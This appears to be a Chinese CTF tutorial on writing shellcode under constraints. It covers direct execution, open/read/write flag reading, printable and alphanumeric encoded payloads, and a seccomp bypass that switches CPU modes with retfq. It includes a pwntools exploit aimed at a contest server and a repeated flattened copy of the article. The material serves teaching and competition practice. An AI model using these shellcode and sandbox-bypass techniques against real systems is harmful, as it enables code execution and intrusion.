shellcode 的艺术
字数 1841 2025-08-24 20:49:22

Shellcode 的艺术 - 深入解析与实战指南

一、Shellcode 基础概念

Shellcode 是一段用于利用软件漏洞的可执行机器代码,通常用于获取系统控制权。本文总结了几种常见的 Shellcode 类型及其编写技巧。

二、Shellcode 类型详解

1. 直接调用型 Shellcode

特点

  • 最简单的 Shellcode 类型
  • 直接执行注入的代码
  • 通常用于没有防护措施的场景

示例代码

#include <stdio.h>
int main(int argc, char const *argv[]) {
    char s[0x500];
    gets(s);
    ((void (*)(void))s)();
    return 0;
}

生成方法

  • 使用 pwntools 的 shellcraft.sh() 直接生成
  • 几乎没有技术难度

2. 禁用 system 函数的 Shellcode

典型场景

  • 如 pwnable.tw 的 orw 题目
  • 无法直接获取 shell
  • 需要通过文件操作读取 flag

32位实现方案

/* fp = open("/home/orw/flag") */
push 0x00006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov eax,0x5
mov ebx,esp
xor ecx,ecx
int 0x80

/* read(fd,buf,0x100) */
mov ebx,eax
mov ecx,esp
mov edx,0x30
mov eax,0x3
int 0x80

/* write(1,buf,0x100) */
mov ebx,0x1
mov eax,0x4
int 0x80

关键点

  • 通过 open/read/write 组合读取文件
  • 32位系统调用使用 int 0x80
  • 参数通过寄存器传递

3. 限制字符的 Shellcode

限制条件

  • 只允许 ASCII 可打印字符 (32-126)
  • 无法直接使用 int 0x80syscall

可用指令集

  1. 数据传送:push/pop, pusha/popa
  2. 算术运算:inc/dec, sub
  3. 逻辑运算:and, xor
  4. 比较指令:cmp
  5. 转移指令:push/pop + jnz/jmp
  6. 交换指令:通过 xor 实现寄存器交换
  7. 清零操作:通过 sub 或 xor 实现

解决方法

  • 使用运算指令动态构造所需指令
  • 例如 int 0x80 可通过 xor/sub 等运算从可打印字符转换得到

工具支持

  • x86: msf 内置 encoder
  • x64: github 上的 shellcode_encoder

4. 更严格的字符限制 (仅字母数字)

限制条件

  • 只允许 [A-Z], [a-z], [0-9]
  • 如中科大校赛题目

解决方案

  • 使用 msf 生成符合要求的 shellcode
  • 示例 exp:
from pwn import *
context.log_level = 'debug'
p = remote("202.38.93.241", "10002")
p.recvuntil("token: ")
p.sendline("747:MEUCIBfqi0tiRKDbsSHczXVE7bwl3E2tvvYq46DisJi/LvE7AiEApxxz/mPdbr8kKbWmMtN4g6M17oOXTKJhGbZSYH43TAw=")
pause()
p.send("PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIBJTK0XZ9V2U62HFMBCMYJGRHFORSE8EP2HFO3R3YBNLIJC1BZHDHS05PS06ORB2IRNFOT3RH30PWF3MYKQXMK0AA")
p.interactive()

5. 禁用 system 和 open 的 Shellcode

典型场景

  • 如 2018-XNUCA-steak
  • 64位调用受限

解决方案

  • 通过 retfq 切换到 32 位模式
  • 在 32 位模式下执行 open 等受限操作
  • 关键点:
    • cs 寄存器控制运行模式 (0x23=32位, 0x33=64位)
    • retfq 会跳转到 rsp 并设置 cs 为 [rsp+0x8]

6. 最严格限制的 Shellcode

限制条件

  • 禁用 system 和 open
  • 限制 shellcode 为可打印字符
  • 如 ex 师傅的 shellcode 题目

沙箱限制

seccomp-tools dump ./shellcode
 line  CODE  JT   JF      K
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x06 0x00 0x00000005  if (A == fstat) goto 0008
 0002: 0x15 0x05 0x00 0x00000025  if (A == alarm) goto 0008
 0003: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0008
 0004: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0008
 0005: 0x15 0x02 0x00 0x00000009  if (A == mmap) goto 0008
 0006: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW

解决方案

  1. 使用 mmap 申请 32 位兼容地址空间
    • mmap(0x40404040,0x7e,7,34,0,0)
  2. 读取 32 位 shellcode 到该地址
  3. 通过 retfq 切换到 32 位模式
  4. 在 32 位模式下执行 open
  5. 保存文件描述符
  6. 切换回 64 位模式
  7. 使用 read/write 输出 flag

完整思路

  1. 用可见字符编写 shellcode 调用 mmap
  2. 调用 read 读入 32 位 shellcode
  3. 构造 retfq 切换到 32 位模式
  4. 32 位模式下调用 open("flag")
  5. 保存文件描述符
  6. 再次 retfq 切换回 64 位模式
  7. 执行 read/write 打印 flag

示例 exp:

from pwn import *
context.log_level = 'debug'

# 设置32位shellcode
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''

# 设置64位打印flag的shellcode
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
/*write(1,buf,0x70)*/
mov rdi,1
mov rax,1
syscall
'''

# 主shellcode构造
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040
pop rdi
push 0x7e
pop rsi
push 0x40
pop rax
xor al,0x47
push rax
pop rdx
push 0x40
pop rax
xor al,0x40
push rax
pop r8
push rax
pop r9
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22
pop rcx
push 0x40
pop rax
xor al,0x49
'''

# 完整利用流程
shellcode = asm(shellcode_mmap, arch='amd64', os='linux')
shellcode += asm(shellcode_x86)
shellcode += asm(shellcode_flag, arch='amd64', os='linux')

三、高级技巧总结

  1. 模式切换

    • 使用 retfq 在 32/64 位模式间切换
    • 注意地址解析差异(32位无法解析64位长地址)
  2. 指令构造

    • 通过算术/逻辑运算动态构造受限指令
    • xor, sub, and
  3. 寄存器管理

    • 在模式切换时保存关键寄存器值
    • 使用不常用寄存器暂存重要数据
  4. 内存管理

    • 使用 mmap 申请兼容内存区域
    • 确保 32 位代码位于 32 位可寻址空间
  5. 沙箱绕过

    • 分析允许的系统调用
    • 组合使用允许的系统调用实现功能

四、实战建议

  1. 充分理解题目限制条件
  2. 分析可用的系统调用和指令集
  3. 优先考虑模式切换等高级技巧
  4. 使用工具辅助生成基础 shellcode
  5. 逐步测试和调试复杂 shellcode

通过掌握这些 Shellcode 编写技巧,可以应对各种限制条件下的漏洞利用场景。

Shellcode 的艺术 - 深入解析与实战指南 一、Shellcode 基础概念 Shellcode 是一段用于利用软件漏洞的可执行机器代码,通常用于获取系统控制权。本文总结了几种常见的 Shellcode 类型及其编写技巧。 二、Shellcode 类型详解 1. 直接调用型 Shellcode 特点 : 最简单的 Shellcode 类型 直接执行注入的代码 通常用于没有防护措施的场景 示例代码 : 生成方法 : 使用 pwntools 的 shellcraft.sh() 直接生成 几乎没有技术难度 2. 禁用 system 函数的 Shellcode 典型场景 : 如 pwnable.tw 的 orw 题目 无法直接获取 shell 需要通过文件操作读取 flag 32位实现方案 : 关键点 : 通过 open/read/write 组合读取文件 32位系统调用使用 int 0x80 参数通过寄存器传递 3. 限制字符的 Shellcode 限制条件 : 只允许 ASCII 可打印字符 (32-126) 无法直接使用 int 0x80 或 syscall 可用指令集 : 数据传送 :push/pop, pusha/popa 算术运算 :inc/dec, sub 逻辑运算 :and, xor 比较指令 :cmp 转移指令 :push/pop + jnz/jmp 交换指令 :通过 xor 实现寄存器交换 清零操作 :通过 sub 或 xor 实现 解决方法 : 使用运算指令动态构造所需指令 例如 int 0x80 可通过 xor/sub 等运算从可打印字符转换得到 工具支持 : x86: msf 内置 encoder x64: github 上的 shellcode_ encoder 4. 更严格的字符限制 (仅字母数字) 限制条件 : 只允许 [ A-Z], [ a-z], [ 0-9 ] 如中科大校赛题目 解决方案 : 使用 msf 生成符合要求的 shellcode 示例 exp: 5. 禁用 system 和 open 的 Shellcode 典型场景 : 如 2018-XNUCA-steak 64位调用受限 解决方案 : 通过 retfq 切换到 32 位模式 在 32 位模式下执行 open 等受限操作 关键点: cs 寄存器控制运行模式 (0x23=32位, 0x33=64位) retfq 会跳转到 rsp 并设置 cs 为 [ rsp+0x8 ] 6. 最严格限制的 Shellcode 限制条件 : 禁用 system 和 open 限制 shellcode 为可打印字符 如 ex 师傅的 shellcode 题目 沙箱限制 : 解决方案 : 使用 mmap 申请 32 位兼容地址空间 mmap(0x40404040,0x7e,7,34,0,0) 读取 32 位 shellcode 到该地址 通过 retfq 切换到 32 位模式 在 32 位模式下执行 open 保存文件描述符 切换回 64 位模式 使用 read/write 输出 flag 完整思路 : 用可见字符编写 shellcode 调用 mmap 调用 read 读入 32 位 shellcode 构造 retfq 切换到 32 位模式 32 位模式下调用 open("flag") 保存文件描述符 再次 retfq 切换回 64 位模式 执行 read/write 打印 flag 示例 exp : 三、高级技巧总结 模式切换 : 使用 retfq 在 32/64 位模式间切换 注意地址解析差异(32位无法解析64位长地址) 指令构造 : 通过算术/逻辑运算动态构造受限指令 如 xor , sub , and 等 寄存器管理 : 在模式切换时保存关键寄存器值 使用不常用寄存器暂存重要数据 内存管理 : 使用 mmap 申请兼容内存区域 确保 32 位代码位于 32 位可寻址空间 沙箱绕过 : 分析允许的系统调用 组合使用允许的系统调用实现功能 四、实战建议 充分理解题目限制条件 分析可用的系统调用和指令集 优先考虑模式切换等高级技巧 使用工具辅助生成基础 shellcode 逐步测试和调试复杂 shellcode 通过掌握这些 Shellcode 编写技巧,可以应对各种限制条件下的漏洞利用场景。